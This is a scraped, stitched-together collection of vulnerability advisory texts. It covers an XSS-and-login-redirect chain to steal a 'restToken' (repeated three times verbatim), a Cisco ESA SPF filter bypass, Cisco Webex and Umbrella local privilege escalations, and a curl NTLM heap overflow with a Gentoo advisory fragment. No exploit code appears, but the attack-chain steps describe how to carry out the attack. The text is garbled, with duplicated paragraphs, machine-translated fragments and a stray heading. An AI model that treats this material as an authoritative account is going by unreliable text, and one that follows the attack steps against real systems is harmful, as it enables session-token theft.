In order to perform the attack, consider the following: . API's sensitive actions require a 'restToken' to be processed. This token could be obtained by a Cross-Site Scripting attack from a specific endpoint (/settings). Abuse the login page redirection functionality to force the user to access the Cross-Site Scripting vulnerable URL described in 7.1 (you may also abuse the Cross-Site scripting vulnerability reported in https://www.cvedetails.com/cve/CVE-2016-2511/ given it is still present). If the user is already authenticated he will be automatically redirected. Otherwise, the login page will appear and the redirection will take place after a successful login.

In order to perform the attack, consider the following: . API's sensitive actions require a 'restToken' to be processed. This token could be obtained by a Cross-Site Scripting attack from a specific endpoint (/settings). Abuse the login page redirection functionality to force the user to access the Cross-Site Scripting vulnerable URL described in 7.1 (you may also abuse the Cross-Site scripting vulnerability reported in https://www.cvedetails.com/cve/CVE-2016-2511/ given it is still present). If the user is already authenticated he will be automatically redirected. Otherwise, the login page will appear and the redirection will take place after a successful login.

In order to perform the attack, consider the following: . API's sensitive actions require a 'restToken' to be processed. This token could be obtained by a Cross-Site Scripting attack from a specific endpoint (/settings). Abuse the login page redirection functionality to force the user to access the Cross-Site Scripting vulnerable URL described in 7.1 (you may also abuse the Cross-Site scripting vulnerability reported in https://www.cvedetails.com/cve/CVE-2016-2511/ given it is still present). If the user is already authenticated he will be automatically redirected. Otherwise, the login page will appear and the redirection will take place after a successful login.

A vulnerability in the anti-spam protection mechanisms of Cisco AsyncOS Software for the Cisco Email Security Appliance (ESA) could allow an unauthenticated, remote attacker to bypass certain content filters on an affected device. The vulnerability is due to incomplete input and validation checking mechanisms for certain Sender Policy Framework (SPF) messages that are sent to an affected device. An attacker could exploit this vulnerability by sending a customized SPF packet to an affected device. If successful, an exploit could allow the attacker to bypass the URL filters that are configured for the affected device, which could allow malicious URLs to pass through the device. The device provides spam protection, email encryption, and data loss prevention. AsyncOSSoftware is a set of operating systems used in it. An attacker can exploit this issue to bypass security restrictions and perform unauthorized actions. This may aid in further attacks. This issue is being tracked by Cisco Bug ID CSCvj55728

A vulnerability in the folder permissions of Cisco Webex Meetings client for Windows could allow an authenticated, local attacker to modify locally stored files and execute code on a targeted device with the privilege level of the user. The vulnerability is due to folder permissions that grant a user the permission to read, write, and execute files in the Webex folders. An attacker could exploit this vulnerability to write malicious files to the Webex client directory, affecting all other users of the targeted device. A successful exploit could allow a user to execute commands with elevated privileges. Attacks on single-user systems are less likely to occur, as the attack must be carried out by the user on the user's own system. Multiuser systems have a higher risk of exploitation because folder permissions have an impact on all users of the device. For an attacker to exploit this vulnerability successfully, a second user must execute the locally installed malicious file to allow remote code execution to occur. Windows for Cisco Webex Meetings Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows local attackers to escalate privileges on vulnerable installations of Cisco WebEx Network Recording Player. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.The specific flaw exists in the access control that the product installer sets on the product's binaries. This allows any local user to replace the product's binaries with malicious replacements. An attacker can leverage this vulnerability to escalate privileges to the level of some other user of the system, such as an administrator. Cisco Webex Meetings Client is prone to a local privilege-escalation vulnerability. This issue is being tracked by Cisco bug IDs CSCvh89155, CSCvh89157 and CSCvh89158. Cisco Webex Meetings Suite and others are multi-functional video conferencing solutions of Cisco (Cisco). Webex Meetings client for Windows is a Windows-based video conferencing client software. The following products are affected: Cisco Webex Meetings Suite (WBS31); Cisco Webex Meetings Suite (WBS32); Cisco Webex Meetings Suite (WBS33); Cisco Webex Meetings; Cisco Webex Meetings Server

curl before version 7.61.1 is vulnerable to a buffer overrun in the NTLM authentication code. The internal function Curl_ntlm_core_mk_nt_hash multiplies the length of the password by two (SUM) to figure out how large temporary storage area to allocate from the heap. The length value is then subsequently used to iterate over the password and generate output into the allocated storage buffer. On systems with a 32 bit size_t, the math to calculate SUM triggers an integer overflow when the password length exceeds 2GB (2^31 bytes). This integer overflow usually causes a very small buffer to actually get allocated instead of the intended very huge one, making the use of that buffer end up in a heap buffer overflow. (This bug is almost identical to CVE-2017-8816.). curl Contains an integer overflow vulnerability. This vulnerability CVE-2017-8816 It is a similar problem.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. cURL/libcURL is prone to a heap-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it into an insufficiently sized buffer. Attackers can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. cURL/libcURL version 7.15.4 through 7.61.0 are vulnerable. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201903-03 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - https://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: cURL: Multiple vulnerabilities Date: March 10, 2019 Bugs: #665292, #670026, #677346 ID: 201903-03 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been found in cURL, the worst of which could result in a Denial of Service condition.

A vulnerability in the Cisco Umbrella Enterprise Roaming Client (ERC) could allow an authenticated, local attacker to elevate privileges to Administrator. To exploit the vulnerability, the attacker must authenticate with valid local user credentials. This vulnerability is due to improper implementation of file system permissions, which could allow non-administrative users to place files within restricted directories. An attacker could exploit this vulnerability by placing an executable file within the restricted directory, which when executed by the ERC client, would run with Administrator privileges. This issue is being tracked by Cisco Bug IDs CSCvj46275 and CSCvj48400. Roaming Module is a roaming control module. This vulnerability stems from the fact that the program does not implement file system permissions correctly. Table of contents
